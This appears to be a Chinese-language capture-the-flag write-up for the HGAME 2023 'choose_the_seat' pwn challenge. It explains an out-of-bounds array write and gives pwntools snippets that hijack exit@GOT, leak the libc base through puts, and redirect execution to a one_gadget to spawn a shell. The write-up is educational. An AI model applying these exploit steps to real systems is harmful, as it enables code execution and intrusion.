0%

[HGAME 2023 week1]choose_the_seat RedLeaves的WriteUp

2023-11-06 01:44By
Decline
OneGadgetGOT劫持Libc泄漏PWN

首先进行Checksec。
NSSIMAGE
无Canary,仅NX。

vuln函数:

void __noreturn vuln() { unsigned int v0; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v1; // [rsp+8h] [rbp-8h] v1 = __readfsqword(0x28u); puts("Here is the seat from 0 to 9, please choose one."); __isoc99_scanf("%d", &v0); if ( (int)v0 > 9 ) { printf("There is no such seat"); exit(1); } puts("please input your name"); read(0, &seats[16 * v0], 0x10uLL); printf("Your name is "); puts(&seats[16 * v0]); printf("Your seat is %d\n", v0); printf("Bye"); exit(0); }

漏洞位于

// 数组越界写 puts("Here is the seat from 0 to 9, please choose one."); __isoc99_scanf("%d", &v0); read(0, &seats[16 * v0], 0x10uLL);

再来看看数组seats。

.bss:00000000004040A0 public seats .bss:00000000004040A0 ; char seats[160] .bss:00000000004040A0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+seats db 0A0h dup(?) ; DATA XREF: vuln+7A↑o .bss:00000000004040A0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+ ; vuln+B8↑o .bss:00000000004040A0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+_bss ends .bss:00000000004040A0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+

seats位于bss段,没有做越界的检查。也就是说当我输入负的v0时,我可以任意地址写。
比如我输入-6,此时read会尝试向这个地址写入数据:
NSSIMAGE
0x404040,是.got.plt段上的exit函数。
修改成main即可无限执行main函数。
NSSIMAGE
也就是:

main = elf.sym['main'] io.recvuntil(b'choose one.\n') io.sendline(b'-6') io.recvuntil(b'name\n') io.send(p64(main))

然后接下来我们泄露Libc基址:

io.recvuntil(b'choose one.\n') io.sendline(b'-9') io.recvuntil(b'name\n') io.send(b'Kaguyaaa')

此时数组&seats[16 * v0]为puts,也就是执行了puts(puts@got),打印出了puts函数的地址。同理我们可以使用其他函数的地址,但是需要进行额外计算。
通过泄露出来的地址我们可以获取Libc基址,然后我们通过劫持exit函数为one_gadget即可getshell。

addr = leak_addr(2, io) base_addr = addr - libc.sym['puts'] show_addr('Address', addr, base_addr) one_gadget = [0xe3afe, 0xe3b01, 0xe3b04] og = base_addr + one_gadget[1] io.recvuntil(b'choose one.\n') io.sendline(b'-6') io.recvuntil(b'name\n') io.send(p64(og))
还没有人赞赏,快来当第一个赞赏的人吧!
  
© 著作权归作者所有
加载失败
广告
×
评论区
添加新评论